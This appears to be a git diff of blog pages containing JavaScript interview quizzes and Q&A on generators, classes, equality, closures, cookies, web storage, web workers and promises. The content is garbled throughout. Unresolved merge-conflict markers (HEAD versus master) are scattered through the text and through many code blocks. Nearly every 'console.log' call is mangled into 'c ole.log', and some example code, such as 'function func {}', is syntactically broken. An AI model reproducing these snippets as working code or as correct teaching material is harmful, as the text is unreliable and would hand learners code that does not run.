 ##### Answer: 3
@@ -7815,17 +15844,33 @@ The super keyword is used to call methods of a superclass. Unlike other language
 #### 52. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const USER = { age: 30 };
 USER.age = 25;
 c ole.log(USER.age);
 ```
 
+<<<<<<< HEAD
 -  30
 - 2: 25
 - 3: Uncaught TypeError
 - 4: SyntaxError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   30
+-   2: 25
+-   3: Uncaught TypeError
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7841,6 +15886,7 @@ Even though we used constant variables, the content of it is an object and the o
 #### 53. What is the output of below code
 
 ```js
+<<<<<<< HEAD
 c ole.log('🙂' === '🙂');
 ```
 
@@ -7848,6 +15894,19 @@ c ole.log('🙂' === '🙂');
 - 2: true
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log('🙂' === '🙂');
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7863,6 +15922,7 @@ Emojis are unicodes and the unicode for smile symbol is "U+1F642". The unicode c
 #### 54. What is the output of below code?
 
 ```js
+<<<<<<< HEAD
 c ole.log(typeof typeof typeof true);
 ```
 
@@ -7872,6 +15932,21 @@ c ole.log(typeof typeof typeof true);
 - 4: number
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log(typeof typeof typeof true);
+```
+
+-   string
+-   2: boolean
+-   3: NaN
+-   4: number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7887,6 +15962,10 @@ The typeof operator on any primitive returns a string value. So even if you appl
 #### 55. What is the output of below code?
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let zero = new Number(0);
 
 if (zero) {
@@ -7896,12 +15975,24 @@ if (zero) {
 }
 ```
 
+<<<<<<< HEAD
 -  If
 - 2: Else
 - 3: NaN
 - 4: SyntaxError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   If
+-   2: Else
+-   3: NaN
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7920,6 +16011,10 @@ Hence the above code block always goes to if section.
 #### 55. What is the output of below code in non strict mode?
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let msg = 'Good morning!!';
 
 msg.name = 'John';
@@ -7927,12 +16022,24 @@ msg.name = 'John';
 c ole.log(msg.name);
 ```
 
+<<<<<<< HEAD
 -  ""
 - 2: Error
 - 3: John
 - 4: Undefined
 
 <details><summary><b>Answer</b></summary>
+=======
+-   ""
+-   2: Error
+-   3: John
+-   4: Undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7948,6 +16055,10 @@ It returns undefined for non-strict mode and returns Error for strict mode. In n
 #### 56. What is the output of below code?
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let count = 10;
 
 (function innerFunc() {
@@ -7959,12 +16070,24 @@ let count = 10;
 } ;
 ```
 
+<<<<<<< HEAD
 -  11, 10
 - 2: 11, 11
 - 3: 10, 11
 - 4: 10, 10
 
 <details><summary><b>Answer</b></summary>
+=======
+-   11, 10
+-   2: 11, 11
+-   3: 10, 11
+-   4: 10, 10
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7981,4 +16104,10 @@ Whereas the second console.log logs 10 by capturing the count variable from oute
 ---
 
 ---
+<<<<<<< HEAD
+=======
+
+```
+
+>>>>>>> master
 ```
diff --git a/src/pages/blog/interview-questions-js-p3.md b/src/pages/blog/interview-questions-js-p3.md
index 320337d6ff..fffd56869a 100644
--- a/src/pages/blog/interview-questions-js-p3.md
+++ b/src/pages/blog/interview-questions-js-p3.md
@@ -38,6 +38,10 @@ image: images/js-questions-n-answers.png
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 
 
@@ -56,7 +60,12 @@ c ole.log(myGenObj.next().value);
 - 3: SyntaxError
 - 4: TypeError
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -80,6 +89,10 @@ Generators are not constructible type. But if you still proceed to do, there wil
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 
 
@@ -100,7 +113,12 @@ c ole.log(myGenObj.next());
 - 3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
 - 4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -119,6 +137,10 @@ A return statement in a generator function will make the generator finish. If a
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const myGenerator = (function* () {
     yield 1;
@@ -138,7 +160,12 @@ for (const value of myGenerator) {
 - 3: 1 and 1
 - 4: 1
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -157,6 +184,10 @@ The generator should not be re-used once the iterator is closed. i.e, Upon exiti
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const num = 0o38;
 c ole.log(num);
@@ -166,7 +197,12 @@ c ole.log(num);
 - 1: SyntaxError
 - 2: 38
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -185,6 +221,10 @@ If you use an invalid number(outside of 0-7 range) in the octal literal, JavaScr
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const squareObj = new Square(10);
 console.log(squareObj.area);
@@ -203,7 +243,12 @@ class Square {
 - 1: 100
 - 2: ReferenceError
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -228,6 +273,10 @@ Unlike function declarations, class declarations are not hoisted. i.e, First You
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 
 
@@ -251,7 +300,12 @@ c ole.log(run());
 - 3: SyntaxError
 - 4: Window, Window
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -270,6 +324,10 @@ When a regular or prototype method is called without a value for **this**, the m
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 class Vehicle {
     constructor(name) {
@@ -295,7 +353,12 @@ c ole.log(car.start());
 - 3: BMW car started, BMW vehicle started
 - 4: BMW car started, BMW car started
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -314,6 +377,10 @@ The super keyword is used to call methods of a superclass. Unlike other language
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const USER = { age: 30 };
 USER.age = 25;
@@ -326,7 +393,12 @@ c ole.log(USER.age);
 - 3: Uncaught TypeError
 - 4: SyntaxError
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -345,6 +417,10 @@ Even though we used constant variables, the content of it is an object and the o
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 c ole.log('🙂' === '🙂');
 
@@ -353,7 +429,12 @@ c ole.log('🙂' === '🙂');
 - 1: false
 - 2: true
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -372,6 +453,10 @@ Emojis are unicodes and the unicode for smile symbol is "U+1F642". The unicode c
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 c ole.log(typeof typeof typeof true);
 
@@ -382,7 +467,12 @@ c ole.log(typeof typeof typeof true);
 - 3: NaN
 - 4: number
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -401,6 +491,10 @@ The typeof operator on any primitive returns a string value. So even if you appl
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 let zero = new Number(0);
 if (zero) {
@@ -417,7 +511,12 @@ if (zero) {
 - 3: NaN
 - 4: SyntaxError
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -438,6 +537,10 @@ Hence the above code block always goes to if section.
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 let msg = 'Good morning!!';
 msg.name = 'John';
@@ -450,7 +553,12 @@ c ole.log(msg.name);
 - 3: John
 - 4: Undefined
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
@@ -469,6 +577,10 @@ It returns undefined for non-strict mode and returns Error for strict mode. In n
 
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 let count = 10;
 (function innerFunc() {
@@ -486,7 +598,12 @@ let count = 10;
 - 3: 10, 11
 - 4: 10, 10
 
+<<<<<<< HEAD
 <details><summary>Answer</summary>
+=======
+<details>
+<summary>Answer</summary>
+>>>>>>> master
 
 <p>
 
diff --git a/src/pages/blog/interview-questions-js.md b/src/pages/blog/interview-questions-js.md
index 156e08f349..fb28fc513b 100644
--- a/src/pages/blog/interview-questions-js.md
+++ b/src/pages/blog/interview-questions-js.md
@@ -1,11 +1,19 @@
 ---
+<<<<<<< HEAD
 title: Javascript Interview Questions
+=======
+title: JS-Intervew-2
+>>>>>>> master
 subtitle: Object Oriented JavaScript
 date: '2021-09-11'
 thumb_image_alt: big o
 excerpt: What are the possible ways to create objects in JavaScript
 seo:
+<<<<<<< HEAD
     title: ''
+=======
+    title: 'Javascript Interview Questions Part 2'
+>>>>>>> master
     description: What are the possible ways to create objects in JavaScript
     robots: []
     extra:
@@ -28,7 +36,11 @@ image: images/green-spruce-4e3a1745.png
 
 ## Javascript Interview Questions
 
+<<<<<<< HEAD
 1. What are the possible ways to create objects in JavaScript
+=======
+1.  What are the possible ways to create objects in JavaScript
+>>>>>>> master
 
     There are many ways to create objects in javascript as below
 
@@ -36,7 +48,11 @@ image: images/green-spruce-4e3a1745.png
 
         The simplest way to create an empty object is using the Object constructor. Currently this approach is not recommended.
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         var object = new Object();
         ```
 
@@ -44,7 +60,11 @@ image: images/green-spruce-4e3a1745.png
 
         The create method of Object creates a new object by passing the prototype object as a parameter
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         var object = Object.create(null);
         ```
 
@@ -52,7 +72,11 @@ image: images/green-spruce-4e3a1745.png
 
         The object literal syntax is equivalent to create method when it passes null as parameter
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         var object = {};
         ```
 
@@ -60,7 +84,11 @@ image: images/green-spruce-4e3a1745.png
 
         Create any function and apply the new operator to create object instances,
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         function Person(name) {
             this.name = name;
             this.age = 21;
@@ -72,7 +100,11 @@ image: images/green-spruce-4e3a1745.png
 
         This is similar to function constructor but it uses prototype for their properties and methods,
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         function Person() {}
         Person.prototype.name = 'Sudheer';
         var object = new Person();
@@ -80,7 +112,11 @@ image: images/green-spruce-4e3a1745.png
 
         This is equivalent to an instance created with an object create method with a function prototype and then call that function with an instance and parameters as arguments.
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         function func {};
 
         new func(x, y, z);
@@ -88,7 +124,11 @@ image: images/green-spruce-4e3a1745.png
 
         **(OR)**
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         // Create a new instance using function prototype.
         var newInstance = Object.create(func.prototype)
 
@@ -103,7 +143,11 @@ image: images/green-spruce-4e3a1745.png
 
         ES6 introduces class feature to create the objects
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         class Person {
             constructor(name) {
                 this.name = name;
@@ -117,13 +161,21 @@ image: images/green-spruce-4e3a1745.png
 
         A Singleton is an object which can only be instantiated one time. Repeated calls to its constructor return the same instance and this way one can ensure that they don't accidentally create multiple instances.
 
+<<<<<<< HEAD
         ```js
+=======
+        ```javascript
+>>>>>>> master
         var object = new (function () {
             this.name = 'Sudheer';
         })();
         ```
 
+<<<<<<< HEAD
 2. What is a prototype chain
+=======
+2.  What is a prototype chain
+>>>>>>> master
 
     **Prototype chaining** is used to build new types of objects based on existing ones. It is similar to inheritance in a class based language.
 
@@ -131,13 +183,21 @@ image: images/green-spruce-4e3a1745.png
 
     ![Screenshot](images/prototype_chain.png)
 
+<<<<<<< HEAD
 3. What is the difference between Call, Apply and Bind
+=======
+3.  What is the difference between Call, Apply and Bind
+>>>>>>> master
 
     The difference between Call, Apply and Bind can be explained with below examples,
 
     **Call:** The call() method invokes a function with a given `this` value and arguments provided one by one
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     var employee1 = { firstName: 'John', lastName: 'Rodson' };
     var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
 
@@ -151,7 +211,11 @@ image: images/green-spruce-4e3a1745.png
 
     **Apply:** Invokes the function with a given `this` value and allows you to pass in arguments as an array
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     var employee1 = { firstName: 'John', lastName: 'Rodson' };
     var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
 
@@ -165,7 +229,11 @@ image: images/green-spruce-4e3a1745.png
 
     **bind:** returns a new function, allowing you to pass any number of arguments
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     var employee1 = { firstName: 'John', lastName: 'Rodson' };
     var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
 
@@ -183,29 +251,49 @@ image: images/green-spruce-4e3a1745.png
 
     Whereas Bind creates a new function that will have `this` set to the first parameter passed to bind().
 
+<<<<<<< HEAD
 4. What is JSON and its common operations
+=======
+4.  What is JSON and its common operations
+>>>>>>> master
 
     **JSON** is a text-based data format following JavaScript object syntax, which was popularized by `Douglas Crockford`. It is useful when you want to transmit data across a network and it is basically just a text file with an extension of .json, and a MIME type of application/json
 
     **Parsing:** Converting a string to a native object
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     JSON.parse(text);
     ```
 
     **Stringification:** converting a native object to a string so it can be transmitted across the network
 
+<<<<<<< HEAD
     ```js
     JSON.stringify(object);
     ```
 
 5. What is the purpose of the array slice method
+=======
+    ```javascript
+    JSON.stringify(object);
+    ```
+
+5.  What is the purpose of the array slice method
+>>>>>>> master
 
     The **slice()** method returns the selected elements in an array as a new array object. It selects the elements starting at the given start argument, and ends at the given optional end argument without including the last element. If you omit the second argument then it selects till the end.
 
     Some of the examples of this method are,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     let arrayIntegers = [1, 2, 3, 4, 5];
     let arrayIntegers1 = arrayIntegers.slice(0, 2); // returns [1,2]
     let arrayIntegers2 = arrayIntegers.slice(2, 3); // returns [3]
@@ -214,13 +302,21 @@ image: images/green-spruce-4e3a1745.png
 
     **Note:** Slice method won't mutate the original array but it returns the subset as a new array.
 
+<<<<<<< HEAD
 6. What is the purpose of the array splice method
+=======
+6.  What is the purpose of the array splice method
+>>>>>>> master
 
     The **splice()** method is used either adds/removes items to/from an array, and then returns the removed item. The first argument specifies the array position for insertion or deletion whereas the optional second argument indicates the number of elements to be deleted. Each additional argument is added to the array.
 
     Some of the examples of this method are,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     let arrayIntegersOriginal1 = [1, 2, 3, 4, 5];
     let arrayIntegersOriginal2 = [1, 2, 3, 4, 5];
     let arrayIntegersOriginal3 = [1, 2, 3, 4, 5];
@@ -232,7 +328,11 @@ image: images/green-spruce-4e3a1745.png
 
     **Note:** Splice method modifies the original array and returns the deleted array.
 
+<<<<<<< HEAD
 7. What is the difference between slice and splice
+=======
+7.  What is the difference between slice and splice
+>>>>>>> master
 
     Some of the major difference in a tabular form
 
@@ -242,7 +342,11 @@ image: images/green-spruce-4e3a1745.png
     | Returns the subset of original array         | Returns the deleted elements as array           |
     | Used to pick the elements from array         | Used to insert or delete elements to/from array |
 
+<<<<<<< HEAD
 8. How do you compare Object and Map
+=======
+8.  How do you compare Object and Map
+>>>>>>> master
 
     **Objects** are similar to **Maps** in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Due to this reason, Objects have been used as Maps historically. But there are important differences that make using a Map preferable in certain cases.
 
@@ -253,7 +357,11 @@ image: images/green-spruce-4e3a1745.png
     5. An Object has a prototype, so there are default keys in the map that could collide with your keys if you're not careful. As of ES5 this can be bypassed by using map = Object.create(null), but this is seldom done.
     6. A Map may perform better in scenarios involving frequent addition and removal of key pairs.
 
+<<<<<<< HEAD
 9. What is the difference between == and === operators
+=======
+9.  What is the difference between == and === operators
+>>>>>>> master
 
     JavaScript provides both strict(===, !==) and type-converting(==, !=) equality comparison. The strict operators take type of variable in consideration, while non-strict operators make type correction/conversion based upon values of variables. The strict operators follow the below conditions for different types,
 
@@ -269,7 +377,11 @@ image: images/green-spruce-4e3a1745.png
 
     Some of the example which covers the above cases,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     0 == false   // true
     0 === false  // false
     1 == "1"     // true
@@ -292,7 +404,11 @@ image: images/green-spruce-4e3a1745.png
 
     For example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. For example, in the below example, handler functions assigned to a listener
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const handler = () => console.log('This is a click handler function');
     document.addEventListener('click', handler);
     ```
@@ -301,7 +417,11 @@ image: images/green-spruce-4e3a1745.png
 
     First-order function is a function that doesn't accept another function as an argument and doesn't return a function as its return value.
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const firstOrder = () => console.log('I am a first order function!');
     ```
 
@@ -309,7 +429,11 @@ image: images/green-spruce-4e3a1745.png
 
     Higher-order function is a function that accepts another function as an argument or returns a function as a return value or both.
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const firstOrderFunc = () => console.log('Hello, I am a First order function');
     const higherOrder = (ReturnFirstOrderFunc) => ReturnFirstOrderFunc();
     higherOrder(firstOrderFunc);
@@ -321,7 +445,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let us take an example of unary function,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const unaryFunction = (a) => console.log(a + 10); // Add 10 to the given argument and display the value
     ```
 
@@ -331,7 +459,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's take an example of n-ary function and how it turns into a currying function,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const multiArgFunction = (a, b, c) => a + b + c;
     console.log(multiArgFunction(1, 2, 3)); // 6
 
@@ -349,7 +481,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's take an example to see the difference between pure and impure functions,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     //Impure
     let numberArray = [];
     const impureAddNumber = (number) => numberArray.push(number);
@@ -373,7 +509,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's take an example to demonstrate the usage,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     let counter = 30;
     if (counter === 30) {
         let counter = 31;
@@ -394,7 +534,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's take an example to see the difference,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     function userDetails(username) {
         if (username) {
             console.log(salary); // undefined due to hoisting
@@ -416,7 +560,11 @@ image: images/green-spruce-4e3a1745.png
 
     If you try to redeclare variables in a `switch block` then it will cause errors because there is only one block. For example, the below code block throws a syntax error as below,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     let counter = 1;
     switch (x) {
         case 0:
@@ -431,7 +579,11 @@ image: images/green-spruce-4e3a1745.png
 
     To avoid this error, you can create a nested block inside a case clause and create a new block scoped lexical environment.
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     let counter = 1;
     switch (x) {
         case 0: {
@@ -451,7 +603,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's see this behavior with an example,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     function somemethod() {
         console.log(counter1); // undefined
         console.log(counter2); // ReferenceError
@@ -464,7 +620,11 @@ image: images/green-spruce-4e3a1745.png
 
     IIFE (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it is defined. The signature of it would be as below,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     (function () {
         // logic here
     })();
@@ -472,7 +632,11 @@ image: images/green-spruce-4e3a1745.png
 
     The primary reason to use an IIFE is to obtain data privacy because any variables declared within the IIFE cannot be accessed by the outside world. i.e, If you try to access variables with IIFE then it throws an error as below,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     (function () {
         var message = 'IIFE';
         console.log(message);
@@ -493,7 +657,11 @@ image: images/green-spruce-4e3a1745.png
     Memoization is a programming technique which attempts to increase a function's performance by caching its previously computed results. Each time a memoized function is called, its parameters are used to index the cache. If the data is present, then it can be returned, without executing the entire function. Otherwise the function is executed and then the result is added to the cache.
     Let's take an example of adding function with memoization,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     const memoizAddition = () => {
         let cache = {};
         return (value) => {
@@ -519,14 +687,22 @@ image: images/green-spruce-4e3a1745.png
     Hoisting is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution. Remember that JavaScript only hoists declarations, not initialisation.
     Let's take a simple example of variable hoisting,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     console.log(message); //output : undefined
     var message = 'The variable Has been hoisted';
     ```
 
     The above code looks like as below to the interpreter,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     var message;
     console.log(message);
     message = 'The variable Has been hoisted';
@@ -537,7 +713,11 @@ image: images/green-spruce-4e3a1745.png
     In ES6, Javascript classes are primarily syntactic sugar over JavaScript's existing prototype-based inheritance.
     For example, the prototype based inheritance written in function expression as below,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     function Bike(model, color) {
         this.model = model;
         this.color = color;
@@ -550,7 +730,11 @@ image: images/green-spruce-4e3a1745.png
 
     Whereas ES6 classes can be defined as an alternative
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     class Bike {
         constructor(color, model) {
             this.color = color;
@@ -573,7 +757,11 @@ image: images/green-spruce-4e3a1745.png
 
     Let's take an example of closure concept,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     function Welcome(name) {
         var greetingInfo = function (message) {
             console.log(message + ' ' + name);
@@ -635,7 +823,11 @@ image: images/green-spruce-4e3a1745.png
     A cookie is a piece of data that is stored on your computer to be accessed by your browser. Cookies are saved as key/value pairs.
     For example, you can create a cookie named username as below,
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     document.cookie = 'username=John';
     ```
 
@@ -654,13 +846,21 @@ image: images/green-spruce-4e3a1745.png
 
     1. By default, the cookie is deleted when the browser is closed but you can change this behavior by setting expiry date (in UTC time).
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     document.cookie = 'username=John; expires=Sat, 8 Jun 2019 12:00:00 UTC';
     ```
 
     1. By default, the cookie belongs to a current page. But you can tell the browser what path the cookie belongs to using a path parameter.
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     document.cookie = 'username=John; path=/services';
     ```
 
@@ -669,7 +869,11 @@ image: images/green-spruce-4e3a1745.png
     You can delete a cookie by setting the expiry date as a passed date. You don't need to specify a cookie value in this case.
     For example, you can delete a username cookie in the current page as below.
 
+<<<<<<< HEAD
     ```js
+=======
+    ```javascript
+>>>>>>> master
     document.cookie = 'username=; expires=Fri, 07 Jun 2019 00:00:00 UTC; path=/;';
     ```
 
@@ -689,3 +893,7405 @@ image: images/green-spruce-4e3a1745.png
 42. What is the main difference between localStorage and sessionStorage
 
     LocalStorage is the same as SessionStorage but it persists the data even when the browser is closed and reopened(i.e it has no expiration time) whereas in sessionStorage data gets cleared when the page session ends.
+<<<<<<< HEAD
+=======
+
+43. How do you access web storage
+
+    The Window object implements the `WindowLocalStorage` and `WindowSessionStorage` objects which has `localStorage`(window.localStorage) and `sessionStorage`(window.sessionStorage) properties respectively. These properties create an instance of the Storage object, through which data items can be set, retrieved and removed for a specific domain and storage type (session or local).
+    For example, you can read and write on local storage objects as below
+
+    ```javascript
+    localStorage.setItem('logo', document.getElementById('logo').value);
+    localStorage.getItem('logo');
+    ```
+
+44. What are the methods available on session storage
+
+    The session storage provided methods for reading, writing and clearing the session data
+
+    ```javascript
+    // Save data to sessionStorage
+    sessionStorage.setItem('key', 'value');
+
+    // Get saved data from sessionStorage
+    let data = sessionStorage.getItem('key');
+
+    // Remove saved data from sessionStorage
+    sessionStorage.removeItem('key');
+
+    // Remove all saved data from sessionStorage
+    sessionStorage.clear();
+    ```
+
+45. What is a storage event and its event handler
+
+    The StorageEvent is an event that fires when a storage area has been changed in the context of another document. Whereas onstorage property is an EventHandler for processing storage events.
+    The syntax would be as below
+
+    ```javascript
+    window.onstorage = functionRef;
+    ```
+
+    Let's take the example usage of onstorage event handler which logs the storage key and it's values
+
+    ```javascript
+    window.onstorage = function (e) {
+        console.log('The ' + e.key + ' key has been changed from ' + e.oldValue + ' to ' + e.newValue + '.');
+    };
+    ```
+
+46. Why do you need web storage
+
+    Web storage is more secure, and large amounts of data can be stored locally, without affecting website performance. Also, the information is never transferred to the server. Hence this is a more recommended approach than Cookies.
+
+47. How do you check web storage browser support
+
+    You need to check browser support for localStorage and sessionStorage before using web storage,
+
+    ```javascript
+    if (typeof Storage !== 'undefined') {
+        // Code for localStorage/sessionStorage.
+    } else {
+        // Sorry! No Web Storage support..
+    }
+    ```
+
+48. How do you check web workers browser support
+
+    You need to check browser support for web workers before using it
+
+    ```javascript
+    if (typeof Worker !== 'undefined') {
+        // code for Web worker support.
+    } else {
+        // Sorry! No Web Worker support..
+    }
+    ```
+
+49. Give an example of a web worker
+
+    You need to follow below steps to start using web workers for counting example
+
+    1. Create a Web Worker File: You need to write a script to increment the count value. Let's name it as counter.js
+
+    ```javascript
+    let i = 0;
+
+    function timedCount() {
+        i = i + 1;
+        postMessage(i);
+        setTimeout('timedCount()', 500);
+    }
+
+    timedCount();
+    ```
+
+    Here postMessage() method is used to post a message back to the HTML page
+
+    1. Create a Web Worker Object: You can create a web worker object by checking for browser support. Let's name this file as web_worker_example.js
+
+    ```javascript
+    if (typeof w == 'undefined') {
+        w = new Worker('counter.js');
+    }
+    ```
+
+    and we can receive messages from web worker
+
+    ```javascript
+    w.onmessage = function (event) {
+        document.getElementById('message').innerHTML = event.data;
+    };
+    ```
+
+    1. Terminate a Web Worker:
+       Web workers will continue to listen for messages (even after the external script is finished) until it is terminated. You can use the terminate() method to terminate listening to the messages.
+
+    ```javascript
+    w.terminate();
+    ```
+
+    1. Reuse the Web Worker: If you set the worker variable to undefined you can reuse the code
+
+    ```javascript
+    w = undefined;
+    ```
+
+50. What are the restrictions of web workers on DOM
+
+    WebWorkers don't have access to below javascript objects since they are defined in an external files
+
+    1. Window object
+    2. Document object
+    3. Parent object
+
+51. What is a promise
+
+    A promise is an object that may produce a single value some time in the future with either a resolved value or a reason that it's not resolved(for example, network error). It will be in one of the 3 possible states: fulfilled, rejected, or pending.
+
+    The syntax of Promise creation looks like below,
+
+    ```javascript
+    const promise = new Promise(function (resolve, reject) {
+        // promise description
+    });
+    ```
+
+    The usage of a promise would be as below,
+
+    ```javascript
+    const promise = new Promise(
+        (resolve) => {
+            setTimeout(() => {
+                resolve("I'm a Promise!");
+            }, 5000);
+        },
+        (reject) => {}
+    );
+
+    promise.then((value) => console.log(value));
+    ```
+
+    The action flow of a promise will be as below,
+
+    ![Screenshot](images/promises.png)
+
+52. Why do you need a promise
+
+    Promises are used to handle asynchronous operations. They provide an alternative approach for callbacks by reducing the callback hell and writing the cleaner code.
+
+53. What are the three states of promise
+
+    Promises have three states:
+
+    1. **Pending:** This is an initial state of the Promise before an operation begins
+    2. **Fulfilled:** This state indicates that the specified operation was completed.
+    3. **Rejected:** This state indicates that the operation did not complete. In this case an error value will be thrown.
+
+54. What is a callback function
+
